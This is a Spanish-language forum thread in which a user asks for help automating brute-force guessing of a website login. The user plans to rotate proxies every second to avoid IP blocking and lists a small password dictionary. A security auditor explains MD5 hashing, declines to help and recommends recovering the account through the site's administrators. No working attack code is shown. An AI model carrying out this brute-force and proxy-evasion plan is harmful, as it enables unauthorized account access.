Mis mejores deseos con que recuperes tu cuenta contactándote con los administradores del sitio que gustosos te van a ayudar!
La cosa en realidad no es tan simple ni es tan compleja, en realidad yo quiero entrar a mi cuenta y conozco mi nombre de usuario, resulta que si voy a la página web y meto mi nombre de usuario y una contraseña si es incorrecta no puedo entrar, entonces se que esa no es, vuelvo a probar con otra y tampoco, se que esa no es, y así hasta que de con una que si que es, lo que yo busco es un programa que haga esto de manera automática con todas las combinaciones posibles de letras, también podrías decirme que entonces me bloquearían la IP por exceso de intentos, pero adeamas de que esta página WEB en concreto no tine implementada este tipo de seguridad y te deja probar la clave todas las veces que quieras lo que voy a hacer es meter una lista de proxys y cambiar de proxy cada segundo para que no pueda bloquearme por la IP lo del MD5 y las vulnerabilidades no es le método que busco exactamente para entrar
Vulnerabilidad ES en realidad que logres extraer como te dije datos de la base de datos automatizando el formulario de login.
Ya te dije, si en caso más hipotético en el cual logres sacar una letra de ahí tu contraseña va a estar encriptada! Luciría algo así como e10adc3949ba59abbe56e057f20f883e y esta contraseña apenas tiene 3 letras.
Bueno, ¿sacaste ese password y ahora que haces con el? No hay modo de invertir el proceso de encriptación y se metes esto en tu form de login lo va a volver a encriptar antes de comparar con la base de datos y siempre van a ser diferentes.
Yo te cuento esto a modo de información. Y veo que no entendiste lo del MD5, lee un poco acerca de eso!
Pero yo no voy a meter el MD5 en el formulario yo voy a meter palabras donde pone password y darle a enviar de manera automática y así hasta que entre, el MD5 yo no he hablado de le para nada
Entiendo! Pero si es una palabra formada la que quieres formar no te recomiendo que utilices fuerza bruta para automatizar tus envíos del form! Solo imaginate todas las posibilidades que tienen que generarse antes que se formen las palabras "hola mundo" y eso te puede llevar días enteros procesando (si tu script fuera perfecto para que tenga una ejecución continua y estable) solo para formar 1 de esas palabras por coincidencia! Y eso que no estoy teniendo en cuenta los números!
Porqué no creas una lista de posibilidades (que te reduciría un porcentaje abismal de posibilidades tontas) y luego vemos una manera más optima de dar con el password.
El código que pegaste lo miré y sinceramente no justifica para nada el método para tu propósito.
Cierto tienes razón, en concreto ese script tardaría un montón solo para dar con una palabra pero con ello te aseguras no dejarte ninguna, tardaría mucho más que con una lista de palabras como cualquiera que se puede encontrar en internet, algo así:
Admin
administrator
Test
guest
root
backup
andrea
andromache
andy
angela
angerine
angie
animals
anita
...
Pero para eso habría que modificar el script PHP para que leyese las posibilidades desde un diccionario y ni siquiera he completado el script para que lo haga con las combinaciones posibles de letras, ¿tu qué eres el experto en PHP que crees que habría que modificar?
Me comuniqué con los administradores del sitio preguntando cual sería el procedimiento en el caso de que suceda lo que te sucedió y me dijeron que solo necesitan confirmar el correo electrónico para poder mandarte el link a una página de reseteo.
Mi estimado (xxxxxx), lastimosamente en esta clase de scripts no te puedo ayudar por ética al trabajo mismo siendo que me dedico a realizar auditorías de seguridad para sistemas y por lo tanto tengo que saber como funcionan estos métodos de violación de sistemas y conocer el alcance de la repercusión que pueden tener.
Como me dijiste no vas a robar dinero pero la información en sí tiene el valor para la empresa sea cual fuere pues ese mismo es su negocio! Los usuarios registrados bajo condiciones de privacidad!
Deberías de hacer lo que te dije, lo de contactar como lo hice yo con los administradores del sitio, si verdaderamente eso nada más es tu intención tenés todo servido para la recuperación de tu cuenta.
Okey, les volveré a mandar un correo a ver que me dicen, gracias por la ayuda de todas formas, aunque si ni me mandan nada pienso seguir insistiendo aunque me tire intentándolo eternamente

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas